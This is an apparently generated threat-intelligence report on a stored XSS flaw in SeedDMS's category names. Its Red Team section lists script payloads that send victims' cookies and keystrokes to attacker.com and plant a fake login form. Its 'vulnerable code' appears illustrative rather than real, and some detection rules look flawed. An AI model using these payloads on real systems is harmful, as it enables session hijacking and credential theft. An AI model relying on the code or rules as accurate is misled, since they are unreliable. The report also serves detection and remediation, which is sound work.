CVE-2025-25461

Executive Summary

CVE-2025-25461 is a Stored Cross-Site Scripting (XSS) vulnerability in SeedDMS version 6.0.29. An authenticated user or rogue administrator with the "Add Category" permission can inject a malicious XSS payload into the category name field. When a document is subsequently associated with this category, the payload is stored on the server and rendered without proper sanitization or output encoding. This results in the XSS payload executing in the browser of any user who views the document. The vulnerability is currently unpatched, and no official patch or advisory has been released by the vendor.

Supply Chain & Package Security

SeedDMS is a PHP-based document management system. The vulnerability resides in the core application code, not in a third-party package. However, organizations using SeedDMS should verify the integrity of their installation and monitor for any malicious modifications to the category management functionality.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (requires "Add Category" permission)
• User Interaction: Required (victim must view a document associated with the malicious category)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS to be used in targeted attacks against document management systems elevates the risk. An attacker with administrative privileges can compromise other users' sessions and steal sensitive data.

Deep Dive & Mechanics

The vulnerability exists in the category management functionality of SeedDMS. When a user with the "Add Category" permission creates a new category, the category name is stored in the database without proper sanitization. When a document is associated with this category, the category name is rendered in the document view page without output encoding.

Attack Flow:

1. An attacker with "Add Category" permission logs into SeedDMS.
2. The attacker creates a new category with a malicious XSS payload in the name field (e.g., <script>alert('XSS')</script>).
3. The attacker associates a document with this malicious category.
4. When any user (including administrators) views the document, the XSS payload executes in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the application.

Root Cause: The application fails to sanitize user input in the category name field and does not encode output when rendering the category name in the document view.

Vulnerable vs. Patched Code

Vulnerable Code (SeedDMS 6.0.29):

// In the category creation function
$categoryName = $_POST['category_name'];
$db->query("INSERT INTO categories (name) VALUES ('$categoryName')");

// In the document view
echo "<span class='category'>" . $category['name'] . "</span>";

Patched Code (Hypothetical):

// In the category creation function
$categoryName = htmlspecialchars($_POST['category_name'], ENT_QUOTES, 'UTF-8');
$stmt = $db->prepare("INSERT INTO categories (name) VALUES (?)");
$stmt->bind_param("s", $categoryName);
$stmt->execute();

// In the document view
echo "<span class='category'>" . htmlspecialchars($category['name'], ENT_QUOTES, 'UTF-8') . "</span>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to SeedDMS with "Add Category" permission
• A document to associate with the malicious category

Exploitation Steps:

1. Log into SeedDMS as a user with "Add Category" permission.
2. Navigate to the category management section.
3. Create a new category with the following payload in the name field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Associate any document with this newly created category.
5. Wait for a victim to view the document. The XSS payload will execute, sending the victim's session cookie to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
• Phishing: <script>document.body.innerHTML='<form action="https://attacker.com/login" method="POST"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>'</script>

Blue Team

Detection and Response:

1. Monitor for unusual category names containing script tags or event handlers.
2. Review web server logs for requests to /out/out.ViewDocument.php with suspicious category parameters.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in category name fields.
4. Conduct a manual review of all existing categories for malicious content.

Lab Setup:

• Install SeedDMS 6.0.29 on a local server (e.g., using XAMPP or Docker).
• Create a test user with "Add Category" permission.
• Use a browser with developer tools to inspect network traffic and cookie values.
• Set up a simple HTTP server (e.g., using Python's http.server) to capture exfiltrated data.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing cookie data
• Suspicious POST requests to /out/out.AddCategory.php with script tags in the category_name parameter

Host IOCs:

• Database entries in the categories table containing HTML/JavaScript code in the name field
• Unusual entries in web server access logs (e.g., requests with %3Cscript%3E in the category name)

File IOCs:

• Modified SeedDMS source files (though the vulnerability is in the core, not a file modification)

Detection Engineering

YARA Rule

rule CVE_2025_25461_Stored_XSS_SeedDMS {
    meta:
        description = "Detects stored XSS payloads in SeedDMS category names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25461"
        severity = "medium"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss_payload_3 = /javascript\s*:/is
        $xss_payload_4 = /<img[^>]+onerror\s*=/is
    condition:
        any of them
}

Sigma Rule

title: SeedDMS Stored XSS in Category Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-25461 by injecting XSS payloads into SeedDMS category names
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/out/out.AddCategory.php'
        cs-uri-query|contains|all:
            - 'category_name='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in category names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25461 - SeedDMS Stored XSS Attempt in Category Name";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/out/out.AddCategory.php";
    http_uri;
    content:"category_name=";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    reference:cve,2025-25461;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Category Creation: Temporarily remove the "Add Category" permission from all users until a patch is available.
2. Input Validation: Implement server-side validation to reject category names containing HTML tags or JavaScript.
3. Output Encoding: Apply htmlspecialchars() or equivalent encoding when rendering category names in document views.

Long-term Fix:

• Apply the official patch when released by the vendor.
• Upgrade to a patched version of SeedDMS.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in POST requests to /out/out.AddCategory.php.
• Manually review and sanitize all existing categories in the database.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division.